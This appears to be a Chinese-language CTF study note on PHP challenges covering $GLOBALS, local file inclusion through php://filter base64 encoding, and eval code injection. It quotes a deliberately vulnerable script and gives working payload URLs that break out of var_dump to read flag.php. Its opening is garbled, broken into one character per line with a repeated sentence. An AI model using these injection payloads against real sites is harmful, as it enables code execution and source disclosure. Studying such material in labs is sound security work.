php之$GLOBALS
G
L
O
B
A
L
S
一
个
包
含
了
全
部
变
量
的
全
局
组
合
数
组
。
变
量
的
名
字
就
是
数
组
的
键
。
(
即
所
有
出
现
过
的
全
局
变
量
,
都
可
通
过
GLOBALS一个包含了全部变量的全局组合数组。变量的名字就是数组的键。(即所有出现过的全局变量,都可通过
GLOBALS一个包含了全部变量的全局组合数组。变量的名字就是数组的键。(即所有出现过的全局变量,都可通过GLOBALS获取到)
通过变量的赋值,让其输出GLOBALS数组,注意,这是预定义的变量,对大小写敏感
本地包含
通过post参数 利用php伪协议 和 类似sql注入的闭合构造
<?php
include "flag.php"; //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来
$a = @$_REQUEST['hello']; //无论是以POST还是GET方式,都可以给$a赋值
eval( "var_dump($a);"); //var_dump可以输出变量的类型和值
show_source(__FILE__);
?>
http://123.206.87.240:8003/?hello=);include(@$_POST['z']
在POST区域输入:z=php://filter/convert.base64-encode/resource=flag.php
eval的命令执行漏洞
http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3
直接将flag.php文件读入变量hello中
?hello=get_file_contents('flag.php')
?hello=file('flag.php')
备份文件
由于异常关机,或者退出,每个系统都会保存一份关闭之前的备份文件以供恢复
windows 下的备份文件后缀名为bak
linux 下得到备份文件后缀名为swp